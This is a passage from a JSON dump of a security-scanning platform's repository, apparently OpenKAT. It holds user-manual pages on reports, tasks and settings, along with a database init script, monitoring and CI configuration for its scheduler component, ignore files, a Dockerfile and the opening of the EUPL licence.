in-compliant systems are identified, a compliance issue description is provided with the corresponding risk level.\n     - Overview on the compliance status of various DNS checks across all systems.\n   * - Findings\n     - Shows an overview table with the number of findings and occurrences per risk level (critical, high, medium, low, recommendation), followed by a list of all findings. Each finding can be opened to view more details, such as a description of the finding, the possible impact, a general recommendation and the hosts where this finding was identified.\n     - Gives an overview of all findings (KAT, CVE and/or custom findings).\n     - Overview on the vulnerabilities checks across all systems.\n   * - IPv6\n     - Shows if IPv6 was detected on the scanned system.\n     - The report shows per hostname if an IPv6 address was detected.\n     - Overview on the IPv6 status categorised per system type.\n   * - Mail\n     - The table gives an overview of some security configurations that are recommended to be implemented to ensure authenticated e-mails are sent on behalf of the hostname. The compliance checks look at the presence of SPF, DKIM and DMARC, which are used to prevent spammers from sending unwanted e-mails. Each check will show whether or not the system is compliant with this security configuration. If a lack of compliance is identified, the table below will show what compliance issue was identified with what risk.\n     - The report shows per system type how many of the identified IPs/systems are compliant with the e-mail checks. If in-compliant systems are identified, a compliance issue description is provided with the corresponding risk level.\n     - Overview on the compliance status of various e-mail checks across all systems.\n   * - Name server\n     - The table gives an overview of the recommended security configurations to ensure an increased level of security for the domain name servers for the scanned domain. The compliance checks look at the presence and configuration of DNSSEC, and the open ports that are enabled. Each check will show whether or not the system is compliant with this security configuration. If a lack of compliance is identified, the table below will show what compliance issue was identified with what risk. **This requires that the hostnames of the name servers are selected!**\n     - The aggregate findings of the name server report can be found under the DNS checks.\n     - The aggregated data can be found under the DNS checks.\n   * - Open ports\n     - Shows for the identified IP addresses which ports were found to be open and thus reachable. If available the table will show the IPv4 and/or IPv6 addresses, the hostname(s) and all open ports identified on both IPv4 and IPv6 (if available). Please note that you have to manually enable IPv6 support in Dockerized environments. See the docs on how to do this.\n     - The report shows the open ports for all scanned IP addresses.\n     - The table gives an overview on the number of occurrences for each open port.\n   * - RPKI\n     - The table gives an overview of the RPKI status for the selected domain. It currently shows if RPKI is available and if the data is not expired.\n     - The table gives an overview of the RPKI status grouped per system type. It currently shows if RPKI is available and if the data is not expired.\n     - The table gives an overview on the number of occurrences of the RPKI status grouped per system type. It currently shows if RPKI is available and if the data is not expired.\n   * - Safe connections\n     - The table gives an overview of some security configurations that are recommended to be implemented to ensure safe connections (encryption). The compliance checks look at the TLS protocols and TLS Ciphers offered by the system. Each check will show whether or not the system is compliant with this security configuration. If a lack of compliance is identified, the table below will show what compliance issue was identified with what risk.\n     - The report shows per system type how many of the identified IPs/systems are compliant with the safe connections checks. If in-compliant systems are identified, a compliance issue description is provided with the corresponding risk level.\n     - The table shows the number of occurrences matching the compliance checks.\n   * - Systems\n     - The table gives an overview of which system types were identified on the system. This is performed based on the identified open ports, which can have one or more of the following labels: DICOM, DNS, Mail, Web, Other.\n     - For each identified system type all checks are grouped together.\n     - Overview of the compliance checks grouped per system type with the number of occurrences.\n   * - TLS\n     - The table shows which TLS protocol versions and TLS ciphers were identified on the system, including the status of the identified data. This means that if outdated protocols (such as SSL3) are identified, the table will show a recommendation such as ‘Phase out’.\n     - The aggregate findings of the TLS report can be found under the safe connections checks.\n     - This data is aggregated under the safe connections checks.\n   * - Vulnerability\n     - The table gives an overview of the identified CVE's on the system.\n     - The table gives an overview of the identified CVE's on the system.\n     - The table gives an overview of the identified CVE's on the system.\n   * - Web system\n     - The table gives an overview of some basic security configurations that are recommended to be implemented. These checks are performed against the scanned systems/hosts.  Each check will show whether or not the system is compliant with this security configuration. If a lack of compliance is identified, the table below will show what compliance issue was identified with what risk.\n     - The results of the web server checks against all web servers are grouped together and an overview is provided how many of the web servers are compliant with each check. If in-compliant systems are identified, a compliance issue description is provided with the corresponding risk level.\n     - The number of occurrences for each web check are shown.\n\n\nReport flow\n-----------\nOn the Reports page you can generate new reports and get an overview of all generated reports.\nWith the button 'Generate report' you get into the Report flow wizard, which can be used to choose your report, objects and plugins that are required for the report.\nThere are two ways to select objects. You can manually select objects, which will be static.\nOr you can select a live set of objects by continuing with the selected filters.\nThe selected objects will then always be based on the selected filters at the time of generating the report.\nAnd please note that enabling plugins during the report flow wizard will result in inaccurate data,\nas the plugins will take some time before they have gathered and analyzed all data.\nCheck the Tasks page to verify that all tasks have completed.\n\nIf you need more help on generating a report, please check our step-by-step instructions :doc:`here <../getting-started/generate-report>`.\n\n\nPlugins\n-------\nEach report has both required and suggested plugins that are used to show data in the report. These plugins are shown in the report flow.\nYou can still generate reports if not all required plugins are enabled, however a warning a message is\nshown and the generated report will show that not all required plugins were enabled at the time of generation.\n\n\nReport naming\n-------------\nWhen creating a report, two name formats are needed: one for the overall report and one for the underlying asset reports.\nEvery asset report consists of one input object and one report type (e.g. a DNS report for mispo.es).\nThe overall report contains all the asset reports and also has its own name.\n\nReports can be named dynamically based on their input objects and report type.\nThe following placeholders can be used to create dynamic report names:\n\n.. list-table:: Name format\n   :widths: 25 50 50\n   :header-rows: 1\n\n   * - Placeholder\n     - (Overall) report name format\n     - Asset report name format\n   * - ${report_type}\n     - Results in the report type of the overall report, depending on the flow that has been selected. Eg. 'Concatenated Report', 'Aggregate Report' or 'Multi Report'.\n     - Results in the report type of the asset report. E.g. 'DNS Report', 'Mail Report', 'Vulnerability Report'.\n   * - ${ooi}\n     - If there's only one input object selected, this will show the input object. If multiple input objects have been selected, this placeholder will remain visible.\n     - Always results in the input object of the asset report.\n   * - ${oois_count}\n     - Returns the total number of all underlying asset reports.\n     - Always returns '1', since an asset report consists of 1 input object and 1 report type.\n\nThe pre-filled name formats are as follows:\n\n- For the (overall) report: '${report_type} for ${oois_count}', which may result in, for example, 'Aggregate Report for 16 objects'\n- For the asset reports: '${report_type} for ${ooi}', which will result in a different name for each asset report. E.g. 'DNS Report for mispo.es'\n\nBesides these placeholders, it is also possible to use Python Strftime formats. For example, '%x' results in '01/01/25' and '%X' results in '07:06:05'.\n\n\nDownloading and/or exporting a report\n-------------------------------------\nThe normal and multi report can be downloaded as PDF file. The aggregate report can be exported as a PDF and also as a JSON file.\nJust click the 'Download' or 'Export' button on the right.\nThe JSON output can be used to create a Multi-Report and compare organization sectors.\n\n\nGenerating a Multi Report\n-------------------------\nWith the Multi report you can compare organisations, for example if both are similar health care institutions.\nCreate two organisations and make sure both organisations have data. For this tutorial they are named `CAT` and `DOG`.\n\n#. In `CAT` generate an ‘Aggregate Report’ and export this to JSON format. Repeat this step for `DOG`.\n\n#. Create a third organisation called `BIRD`.\n\n#. In `BIRD`, go to Objects > Add > ‘Upload raw file’.\n\n#. Upload both raw files (from `CAT` and `DOG`) using the mime-type openkat/report-data’. (the mime-type will be auto-prefilled if you navigate to the upload page from the report normalizer.\n\n#. Click on ‘Reports’ and click on ‘Multi Report’.\n\n#. Select the report data of the organisations `CAT` and `DOG` and follow the report flow steps to generate the report. If you do not see your uploaded reports please make sure you have cleared the filter first.\n\n\n\nTroubleshooting\n---------------\nWhen you do not see one (or more) of the reports options, please check the following things:\n\n- Do you have the required object selected? (This is either the Hostname or IPService for all reports, except the findings report.)\n- Does your selected object have sufficient clearance? Generally L2 or higher is required.\n"
  },
  {
    "path": "docs/source/user-manual/navigation/settings.rst",
    "content": "Settings\n========\n\nThe Settings page shows general information and its settings. In some cases you might want to add tags to the organisation or decide to manually run all bits.\nThis can be done from the settings page. If you created a new organization, you can also add the indemnification on this page.\n\nThe settings that can be changed on this page:\n\n- Change organization data\n- Add indemnification\n- Rerun all bits on the current dataset\n- Add tags to the organization\n\n.. image:: img/settings.png\n  :alt: Settings page\n"
  },
  {
    "path": "docs/source/user-manual/navigation/tasks.rst",
    "content": "Tasks\n=====\n\nAll tasks can be found on the Tasks page. A task is created for each job that needs to be performed, such as running a Boefje,\nNormalizer or for generating a report. Each Boefje is performed on an object (such as a hostname, finding, DNS records, etc.) and each Normalizer on a raw file.\nTasks have a status to show if the task is completed, scheduled, queued, etc.\nEach task contains meta and raw data that can be downloaded.\nThis is the output, error message, proof, security hashes, etc. that belongs to the boefje or normalizer.\nTasks can also be rescheduled and filtered to find specific tasks.\n\nTasks are organised between the Boefje and Normalizer tabs. The image below shows what the Boefje tab could look like.\n\n.. image:: img/tasks-boefjes.png\n  :alt: overview of Boefje tasks\n\nThe image below shows the Normalizer tasks by clicking on the Normalizer tab.\n\n.. image:: img/tasks-normalizers.png\n  :alt: overview of Normalizer tasks\n\nThe Normalizer tab has a special functionality called 'yielded objects'.\nIf the Normalizer was able to extract new objects, these will be shown here.\n\n**Example:**\n  The DNS records for the hostname `mispo.es` are parsed, as seen in the image below.\n  The Normalizer identifies various DNS records (A, NS, MX, SOA) and other information and creates objects for each of the identified information.\n  This information is now also available to other plugins.\n\n.. image:: img/tasks-normalizer-yielded-objects.png\n  :alt: yielded objects for Normalizers\n"
  },
  {
    "path": "docs/source/user-manual/navigation/user-settings.rst",
    "content": "User settings\n=============\n\nClicking on your account name in the top right corner, allows you to open the user settings options.\n\nHere you can see three options:\n\n- My organizations\n- Profile\n- Logout\n\n.. image:: img/user-settings.png\n  :alt: User settings\n\nMy organization\n---------------\nThis page shows you an overview of all your organizations. You can select and go to an organization, add a new organization,\nrerun all bits for all organizations or change the settings of the individual organizations.\nChanging the settings will lead you to the Settings page of the selected organization.\n\n.. image:: img/user-settings-my-organizations.png\n  :alt: My organizations\n\n\nProfile\n-------\nOn this page, you can see your account details and accept or withdraw the clearance and responsibility.\n\nYou can see your member type and the permissions granted to you to set object clearance levels.\nFor example: if you have been given L2, this means you can only set objects to a maximum of L2.\nTo actually change the clearance level of an object, you also need to accept the clearance and responsibility,\nwhich you can do at the bottom of the profile page. See :doc:`../basic-concepts/scan-levels-and-indemnification` for more information about the meaning of these clearance levels.\n\n.. image:: img/user-settings-profile.png\n  :alt: Profile\n"
  },
  {
    "path": "init-user-db.sh",
    "content": "#!/bin/bash\n\n# Reference: https://hub.docker.com/_/postgres\n\nset -e\n\nfor APP in ${APPS}; do\n    echo \"Creating role and database for ${APP}\"\n    APP_DB=\"${APP}_DB\"\n    APP_DB_USER=\"${APP}_DB_USER\"\n    APP_DB_USER_CREATEDB=\"${APP}_DB_USER_CREATEDB\"\n    APP_DB_PASSWORD=\"${APP}_DB_PASSWORD\"\n    psql -v ON_ERROR_STOP=1 --username \"$POSTGRES_USER\" --dbname \"$POSTGRES_DB\" <<- EOSQL\n\t\tCREATE ROLE ${!APP_DB_USER} WITH ENCRYPTED PASSWORD '${!APP_DB_PASSWORD}' ${!APP_DB_USER_CREATEDB:-NOCREATEDB} LOGIN;\n\t\tCREATE DATABASE ${!APP_DB};\n\t\tALTER DATABASE ${!APP_DB} OWNER TO ${!APP_DB_USER};\n\tEOSQL\ndone\n"
  },
  {
    "path": "monitoring/config.alloy",
    "content": "discovery.docker \"local_containers\" {\n host = \"unix:///var/run/docker.sock\"\n}\n\npyroscope.ebpf \"instance\" {\n forward_to     = [pyroscope.write.endpoint.receiver]\n targets = discovery.docker.local_containers.targets\n}\n\npyroscope.write \"endpoint\" {\n endpoint {\n  basic_auth {\n   password = \"<PASSWORD>\"\n   username = \"<USERNAME>\"\n  }\n  url = \"http://pyroscope:4040\"\n }\n external_labels = {\n  \"env\"      = \"testing\",\n  \"instance\" = env(\"HOSTNAME\"),\n }\n}\n"
  },
  {
    "path": "monitoring/grafana-provisioning/datasources/pyroscope.yml",
    "content": "---\napiVersion: 1\ndatasources:\n  - uid: local-pyroscope\n    type: grafana-pyroscope-datasource\n    name: Pyroscope\n    url: http://pyroscope:4040\n    jsonData:\n      keepCookies: [pyroscope_git_session]\n    # Uncomment these if using with Grafana Cloud\n    # basicAuth: true\n    # basicAuthUser: '123456'\n    # secureJsonData:\n    # basicAuthPassword: PASSWORD\n"
  },
  {
    "path": "monitoring/grafana-provisioning/plugins/explore-profiles.yml",
    "content": "---\napiVersion: 1\napps:\n  - type: grafana-pyroscope-app\n    jsonData:\n      backendUrl: http://pyroscope:4040\n      # uncomment this if sending data to Grafana Cloud\n      # basicAuthUser: '123456'\n    secureJsonData:\n      # uncomment this if sending data to Grafana Cloud\n      # basicAuthPassword: PASSWORD\n"
  },
  {
    "path": "monitoring/jaeger.yml",
    "content": "service:\n  extensions: [jaeger_storage, jaeger_query]\n  pipelines:\n    traces:\n      receivers: [otlp]\n      processors: [batch]\n      exporters: [jaeger_storage_exporter, spanmetrics]\n    metrics/spanmetrics:\n      receivers: [spanmetrics]\n      exporters: [prometheus]\n  telemetry:\n    resource:\n      service.name: jaeger\n    metrics:\n      level: detailed\n      readers:\n        - pull:\n            exporter:\n              prometheus:\n                host: 0.0.0.0\n                port: 8888\n    logs:\n      level: DEBUG\n\nextensions:\n  jaeger_query:\n    storage:\n      traces: some_storage\n      metrics: some_metrics_storage\n  jaeger_storage:\n    backends:\n      some_storage:\n        memory:\n          max_traces: 100000\n    metric_backends:\n      some_metrics_storage:\n        prometheus:\n          endpoint: http://prometheus:9090\n          normalize_calls: true\n          normalize_duration: true\n\nconnectors:\n  spanmetrics:\n\nreceivers:\n  otlp:\n    protocols:\n      grpc:\n        endpoint: \"0.0.0.0:4317\"\n      http:\n        endpoint: \"0.0.0.0:4318\"\n\nprocessors:\n  batch:\n\nexporters:\n  jaeger_storage_exporter:\n    trace_storage: some_storage\n  prometheus:\n    endpoint: \"0.0.0.0:8889\"\n"
  },
  {
    "path": "monitoring/prometheus.yml",
    "content": "global:\n  scrape_interval: 15s\n  external_labels:\n    monitor: \"codelab-monitor\"\n\nscrape_configs:\n  - job_name: \"prometheus\"\n    scrape_interval: 5s\n    static_configs:\n      - targets: [\"localhost:9090\"]\n\n  - job_name: \"scheduler\"\n    scrape_interval: 1s\n    static_configs:\n      - targets: [\"scheduler:8000\"]\n\n  - job_name: \"jaeger\"\n    static_configs:\n      - targets: [\"jaeger:8889\"]\n"
  },
  {
    "path": "mula/.ci/docker-compose.yml",
    "content": "services:\n  ci_scheduler_unit:\n    build:\n      context: .\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n    volumes:\n      - .:/app/scheduler\n    env_file:\n      - .ci/.env.test\n    depends_on:\n      ci_postgres:\n        condition: service_healthy\n\n  ci_scheduler_integration:\n    build:\n      context: .\n      args:\n        ENVIRONMENT: dev\n        USER_UID: 1001\n        USER_GID: 1001\n    volumes:\n      - .:/app/scheduler\n    env_file:\n      - .ci/.env.test\n    depends_on:\n      - ci_postgres\n      - ci_bytes\n      - ci_katalogus\n      - ci_rabbitmq\n\n  ci_postgres:\n    image: docker.io/library/postgres:15\n    command:\n      [\"postgres\", \"-c\", \"log_statement=all\", \"-c\", \"log_destination=stderr\"]\n    healthcheck:\n      test: [\"CMD\", \"gosu\", \"postgres\", \"pg_isready\"]\n      interval: 3s\n      retries: 10\n    env_file:\n      - .ci/.env.test\n    environment:\n      APPS: \"BYTES KATALOGUS SCHEDULER\"\n    volumes:\n      - ../init-user-db.sh:/docker-entrypoint-initdb.d/init-user-db.sh\n\n  ci_rabbitmq:\n    image: \"docker.io/library/rabbitmq:3.12-management\"\n    volumes:\n      - ./.ci/rabbitmq.conf:/etc/rabbitmq/rabbitmq.conf\n    healthcheck:\n      test: [\"CMD\", \"rabbitmqctl\", \"status\"]\n      interval: 5s\n      retries: 4\n\n  ci_bytes:\n    build:\n      context: ../bytes\n      dockerfile: Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn bytes.api:app --host 0.0.0.0 --port 8000 --reload --reload-dir /app/bytes/bytes\n    ports:\n      - \"127.0.0.1:8002:8000\"\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - ../bytes/:/app/bytes\n      - bytes-data:/data\n    depends_on:\n      ci_postgres:\n        condition: service_healthy\n\n  ci_katalogus:\n    build:\n      context: ..\n      dockerfile: boefjes/Dockerfile\n      target: dev\n      args:\n        ENVIRONMENT: dev\n    command: uvicorn boefjes.katalogus.root:app --host 0.0.0.0\n    ports:\n      - \"127.0.0.1:8003:8000\"\n    env_file:\n      - .ci/.env.test\n    volumes:\n      - ../boefjes/:/app/boefjes\n      - ../octopoes/octopoes:/app/boefjes/octopoes\n    depends_on:\n      ci_postgres:\n        condition: service_healthy\n\nvolumes:\n  bytes-data:\n"
  },
  {
    "path": "mula/.ci/rabbitmq.conf",
    "content": "loopback_users.guest = false\nlisteners.tcp.default = 5672\nmanagement.tcp.port = 15672\ndefault_vhost = /kat\ndefault_user = guest\ndefault_pass = guest\n"
  },
  {
    "path": "mula/.dockerignore",
    "content": "**/__pycache__\n**/*.pyc\n**/*.pyo\n**/*.pyd\n.Python\nenv\n.venv\npip-log.txt\npip-delete-this-directory.txt\n.tox\n.coverage\n.coverage.*\n.cache\nnosetests.xml\ncoverage.xml\n*.cover\n*.log\n.git\n.mypy_cache\n.pytest_cache\n.hypothesis\nDockerfile\nbytes-data\n.dockerignore\n.github\n.env-dist\n.gitignore\n.ci\nMakefile\npackaging\nREADME.*\npyproject.toml\nsql_migrations\n.dockerignore\ndocs\n"
  },
  {
    "path": "mula/.gitignore",
    "content": "\n# Created by https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n# Edit at https://www.toptal.com/developers/gitignore?templates=windows,linux,macos,python,node,react,intellij,vscode\n\n### Intellij ###\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff\n.idea/\n.vscode\n\n# Gradle and Maven with auto-import\n# When using Gradle or Maven with auto-import, you should exclude module files,\n# since they will be recreated, and may cause churn.  Uncomment if using\n# auto-import.\n# .idea/artifacts\n# .idea/compiler.xml\n# .idea/jarRepositories.xml\n# .idea/modules.xml\n# .idea/*.iml\n# .idea/modules\n*.iml\n*.ipr\n\n# CMake\ncmake-build-*/\n\n# Mongo Explorer plugin\n.idea/**/mongoSettings.xml\n\n# File-based project format\n*.iws\n\n# IntelliJ\nout/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Cursive Clojure plugin\n.idea/replstate.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n# Editor-based Rest Client\n.idea/httpRequests\n\n# Android studio 3.1+ serialized cache file\n.idea/caches/build_file_checksums.ser\n\n### Intellij Patch ###\n# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721\n\n# *.iml\n# modules.xml\n# .idea/misc.xml\n# *.ipr\n\n# Sonarlint plugin\n# https://plugins.jetbrains.com/plugin/7973-sonarlint\n.idea/**/sonarlint/\n\n# SonarQube Plugin\n# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin\n.idea/**/sonarIssues.xml\n\n# Markdown Navigator plugin\n# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced\n.idea/**/markdown-navigator.xml\n.idea/**/markdown-navigator-enh.xml\n.idea/**/markdown-navigator/\n\n# Cache file creation bug\n# See https://youtrack.jetbrains.com/issue/JBR-2257\n.idea/$CACHE_FILE$\n\n# CodeStream plugin\n# https://plugins.jetbrains.com/plugin/12206-codestream\n.idea/codestream.xml\n\n### Linux ###\n*~\n\n# temporary files which can be created if a process still has a handle open of a deleted file\n.fuse_hidden*\n\n# KDE directory preferences\n.directory\n\n# Linux trash folder which might appear on any partition or disk\n.Trash-*\n\n# .nfs files are created when an open file is removed but is still being accessed\n.nfs*\n\n### macOS ###\n# General\n.DS_Store\n.AppleDouble\n.LSOverride\n\n# Icon must end with two \\r\nIcon\n\n\n# Thumbnails\n._*\n\n# Files that might appear in the root of a volume\n.DocumentRevisions-V100\n.fseventsd\n.Spotlight-V100\n.TemporaryItems\n.Trashes\n.VolumeIcon.icns\n.com.apple.timemachine.donotpresent\n\n# Directories potentially created on remote AFP share\n.AppleDB\n.AppleDesktop\nNetwork Trash Folder\nTemporary Items\n.apdisk\n\n### Node ###\n# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\nlerna-debug.log*\n\n# Diagnostic reports (https://nodejs.org/api/report.html)\nreport.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n*.lcov\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# TypeScript v1 declaration files\ntypings/\n\n# TypeScript cache\n*.tsbuildinfo\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional stylelint cache\n.stylelintcache\n\n# Microbundle cache\n.rpt2_cache/\n.rts2_cache_cjs/\n.rts2_cache_es/\n.rts2_cache_umd/\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n.env*.local\n*.env\n\n# parcel-bundler cache (https://parceljs.org/)\n.cache\n.parcel-cache\n\n# Next.js build output\n.next\n\n# Nuxt.js build / generate output\n.nuxt\ndist\n\n# Gatsby files\n.cache/\n# Comment in the public line in if your project uses Gatsby and not Next.js\n# https://nextjs.org/blog/next-9-1#public-directory-support\n# public\n\n# vuepress build output\n.vuepress/dist\n\n# Serverless directories\n.serverless/\n\n# FuseBox cache\n.fusebox/\n\n# DynamoDB Local files\n.dynamodb/\n\n# TernJS port file\n.tern-port\n\n# Stores VSCode versions used for testing VSCode extensions\n.vscode-test\n\n### Python ###\n# Byte-compiled / optimized / DLL files\n__pycache__/\n*.py[cod]\n*$py.class\n\n# C extensions\n*.so\n\n# Distribution / packaging\n.Python\nbuild/\ndevelop-eggs/\ndist/\ndownloads/\neggs/\n.eggs/\nlib/\nlib64/\nparts/\nsdist/\nvar/\nwheels/\npip-wheel-metadata/\nshare/python-wheels/\n*.egg-info/\n.installed.cfg\n*.egg\nMANIFEST\n\n# PyInstaller\n#  Usually these files are written by a python script from a template\n#  before PyInstaller builds the exe, so as to inject date/other infos into it.\n*.manifest\n*.spec\n\n# Installer logs\npip-log.txt\npip-delete-this-directory.txt\n\n# Unit test / coverage reports\nhtmlcov/\n.tox/\n.nox/\n.coverage\n.coverage.*\nnosetests.xml\ncoverage.xml\n*.cover\n*.py,cover\n.hypothesis/\n.pytest_cache/\npytestdebug.log\n\n# Translations\n*.mo\n*.pot\n\n# Django stuff:\nlocal_settings.py\ndb.sqlite3\ndb.sqlite3-journal\n\n# Flask stuff:\ninstance/\n.webassets-cache\n\n# Scrapy stuff:\n.scrapy\n\n# Sphinx documentation\ndocs/_build/\ndoc/_build/\n\n# PyBuilder\ntarget/\n\n# Jupyter Notebook\n.ipynb_checkpoints\n\n# IPython\nprofile_default/\nipython_config.py\n\n# pyenv\n.python-version\n\n# pipenv\n#   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.\n#   However, in case of collaboration, if having platform-specific dependencies or dependencies\n#   having no cross-platform support, pipenv may install dependencies that don't work, or not\n#   install all needed dependencies.\n#Pipfile.lock\n\n# PEP 582; used by e.g. github.com/David-OConnor/pyflow\n__pypackages__/\n\n# Celery stuff\ncelerybeat-schedule\ncelerybeat.pid\n\n# SageMath parsed files\n*.sage.py\n\n# Spyder project settings\n.spyderproject\n.spyproject\n\n# Rope project settings\n.ropeproject\n\n# mkdocs documentation\n/site\n\n# mypy\n.mypy_cache/\n.dmypy.json\ndmypy.json\n\n# Pyre type checker\n.pyre/\n\n# pytype static type analyzer\n.pytype/\n\n# profiling data\n.prof\n\n### react ###\n.DS_*\n**/*.backup.*\n**/*.back.*\n\nnode_modules\n\n*.sublime*\n\npsd\nthumb\nsketch\n\n### vscode ###\n.vscode/*\n!.vscode/settings.json\n!.vscode/tasks.json\n!.vscode/launch.json\n!.vscode/extensions.json\n*.code-workspace\n\n### Windows ###\n# Windows thumbnail cache files\nThumbs.db\nThumbs.db:encryptable\nehthumbs.db\nehthumbs_vista.db\n\n# Dump file\n*.stackdump\n\n# Folder config file\n[Dd]esktop.ini\n\n# Recycle Bin used on file shares\n$RECYCLE.BIN/\n\n# Windows Installer files\n*.cab\n*.msi\n*.msix\n*.msm\n*.msp\n\n# Windows shortcuts\n*.lnk\n\n# End of https://www.toptal.com/developers/gitignore/api/windows,linux,macos,python,node,react,intellij,vscode\n\n\n*.tar.gz\n.password-store\n.envrc\ndeployment/github_config.sh\n!/packaging/deb/data/usr/lib\n.venv\n\n# debian build artifacts\ndebhelper-build-stamp\n*.debhelper\n*.deb\n*.dsc\n*.build\n*.buildinfo\n*.changes\n*.substvars\ndebian/*/\ndebian/*.log\ndebian/files\ndebian/changelog\n\nscheduler.db\n"
  },
  {
    "path": "mula/Dockerfile",
    "content": "ARG PYTHON_VERSION=3.13\nFROM python:$PYTHON_VERSION-bookworm AS dev\n\nEXPOSE 8000\n\nARG USER_UID=1000\nARG USER_GID=1000\n\nENTRYPOINT [\"/app/scheduler/entrypoint.sh\"]\n\nRUN groupadd --gid \"$USER_GID\" scheduler\nRUN adduser --disabled-password --gecos '' --uid \"$USER_UID\" --gid \"$USER_GID\" scheduler\n\nWORKDIR /app/scheduler\nENV PATH=/home/scheduler/.local/bin:${PATH}\n\n# Build with \"docker build --build-arg ENVIRONMENT=dev\" to install dev\n# dependencies\nARG ENVIRONMENT\n\nCOPY requirements.txt requirements-dev.txt ./\nRUN --mount=type=cache,target=/root/.cache pip install --upgrade pip \\\n    && pip install -r requirements.txt \\\n    && if [ \"$ENVIRONMENT\" = \"dev\" ]; then pip install -r requirements-dev.txt; fi\n\nUSER scheduler\n\nCMD [\"python\", \"-m\", \"scheduler\"]\n\nFROM dev\n\nCOPY . /app/scheduler\n"
  },
  {
    "path": "mula/LICENSE",
    "content": "                      EUROPEAN UNION PUBLIC LICENCE v. 1.2\n                      EUPL © the European Union 2007, 2016\n\nThis European Union Public Licence (the ‘EUPL’) applies to the Work (as defined\nbelow) which is provided under the terms of this Licence. Any use of the Work,\nother than as authorised under this Licence is prohibited (to the extent such\nuse is covered by a right of the copyright holder of the Work).\n\nThe Work is provided under the terms of this Licence when the Licensor (as\ndefined below) has placed the following notice immediately following the\ncopyright notice for the Work:\n\n        Licensed under the EUPL\n\nor has expressed by any other means his willingness to license under the EUPL.\n\n1. Definitions\n\nIn this Licence, the following terms have the following meaning:\n\n- ‘The Licence’: this Licence.\n\n- ‘The Original Work’: the work or software distributed or communicated by the\n  Licensor under this Licence, available as Source Code and also as Executable\n  Code as the case may be.\n\n- ‘Derivative Works’: the works or software that could be created by the\n  Licensee, based upon the Original Work or modifications thereof. This Licence\n  does not define the extent of modification or dependence on the Original Work\n  required in order to classify a work as a Derivative Work; this extent is\n  determined by copyright law applicable in the country mentioned in Article 15.\n\n- ‘The Work’: the Original Work or its Derivative Works.\n\n- ‘The Source Code’: the human-readable form of the Work which is the most\n  convenient for people to study and modify.\n\n- ‘The Executable Code’: any code which has generally been compiled and which is\n  meant to be interpreted by a computer as a program.\n\n- ‘The Licensor’: the natural or legal person that distributes or communicates\n  the Work under the Licence.\n\n- ‘Contributor(s)’: any natural or legal person who modifies the Work under the\n  Licence, or otherwise contributes to the creation of a Derivative Work.\n\n- ‘The Licensee’ or ‘You’: any natural or legal person who makes any usage of\n  the Work under the terms of the Licence.\n\n- ‘Distribution’ or ‘Communication’: any act of selling, giving, lending,\n  renting, distributing, communicating, transmitting, or otherwise making\n  available, online or offline, copies of the Work or providing access to its\n  essential functionalities at the disposal of any other natural or legal\n  person.\n\n2. Scope of the rights granted by the Licence\n\nThe Licensor hereby grants You a worldwide, royalty-free, non-exclusive,\nsublicensable licence to do the following, for the duration of copyright vested\nin the Original Work:\n\n- use the Work in any circumstance and for all usage,\n- reproduce the Work,\n- modify the Work, and make Derivative Works based upon the Work,\n- communicate to the public, including the right to make available or display\n  the Work or copies thereof to the public and perform publicly, as the case may\n  be, the Work,\n- distribute the Work or copies thereof,\n- lend and rent the Work or copies thereof,\n- sublicense rights in the Work or copies thereof.\n\nThose rights can be exercised on any media, supports and formats, whether now\nknown or later invented, as far as the applicable law permits so.\n\nIn the countries where moral rights apply, the Licensor waives his right to\nexercise his moral right to the extent allowed by law in order to make effective\nthe licence of the economic rights here above listed.\n\nThe Licensor grants to the Licensee royalty-free, non-exclusive usage rights to\nany patents held by the Licensor, to the extent necessary to make use of the\nrights granted on the Work under this Licence.\n\n3. Communication of the Source Code\n\nThe Licensor may provide the Work either in its Source Code form, or as\nExecutable Code. If the Work is provided as Executable Code, the Licensor\nprovides in addition a machine-readable copy of the Source Code of the Work\nalong with each copy of the Work that the Licensor distributes or indicates, in\na notice following the copyright notice attached to the Work, a repository where\nthe Source Code is easily and freely accessible for as long as the Licensor\ncontinues to distribute or communicate the Work.\n\n4. Limitations on copyright\n\nNothing in this Licence is intended to deprive the Licensee of the benefits from\nany exception or limitation to the exclusive rights of the rights owners in the\nWork, of the exhaustion of those rights or of other applicable limitations\nthereto.\n\n5. Obligations of the Licensee\n\nThe grant of the rights mentioned above is subject to some restrictions and\nobligations imposed on the Licensee. Those obligations are the following:\n\nAttribution right: The Licensee shall keep intact all copyright, patent or\ntrademarks notices and all notices that refer to the Licence and to the\ndisclaimer of warranties. The Licensee must include a copy of such notices and a\ncopy of the Licence with every copy of the Work he/she distributes or\ncommunicates. The Licensee must cause any Derivative Work to carry prominent\nnotices 